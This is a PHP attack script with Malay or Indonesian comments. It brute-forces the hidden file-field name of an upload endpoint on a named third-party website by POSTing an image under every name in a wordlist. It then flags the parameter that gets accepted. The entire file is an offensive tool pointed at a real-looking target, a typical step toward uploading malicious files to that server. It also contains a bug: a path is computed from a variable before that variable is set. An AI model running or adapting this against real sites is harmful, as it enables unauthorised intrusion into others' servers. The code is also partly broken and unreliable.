param_scan.php

<?php
ini_set('max_execution_time', '0');
set_time_limit(0);




$url = "https://redspino.com/include/upload.php";//url uploader trget

$useragent = $_SERVER['HTTP_USER_AGENT'];
$timeout   = 10;
$file      = realpath($filename);
$dict      = "param.txt";//wordlist param
$wordlist  = file_get_contents($dict);
$filename  = "noel.jpg"; //img small
$kon       = file_get_contents($url);
$saiz      = substr_count($wordlist, PHP_EOL);
$page      = "OFF";//on if uploader ada error msg



function parasc($para)
{
global $url;
global $useragent;
global $timeout;
global $file;
global $filename;

$ch = curl_init();
$data = array($para => "@$file".";filename=".$filename);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}

function cek($konten)
{
global $kon;

$str = strpos($konten, $kon);
if($str !== false)
 { return 0; }
else
 { return 1; }
}

echo "Start scaning param : ".$url."<br />
     Wordlist : ".$dict."<br >
     Word count : ".$saiz."<br />
     File upload : ".$file."<br /><hr>";
$word = explode(PHP_EOL, $wordlist);

$count = 0;
foreach($word as $key => $wl)
{
 $w = preg_replace( "/\r|\n/", "", $wl);

 if($page == "ON")
 {
 $res = cek(parasc($w));
  if($res == 1)
  {
  echo "<br />".$w.":found!<br />";
  die();
  }
  else
  {
  $count++;

  echo ".";
  flush();

  if($count > 20)
   {
   $persen    = 100 * $key/$saiz;
   $per       = round($persen, 2);
   echo $per."% scaning[".$key."]<br />";
   unset($count);
   }

  }
 }
 else
 {
 parasc($w);
 $count++;

  echo ".";
  flush();

  if($count > 20)
   {
   $persen    = 100 * $key/$saiz;
   $per       = round($persen, 2);
   echo $per."% scaning[".$key."]<br />";
   unset($count);
   }
 }
}

echo "done";


?>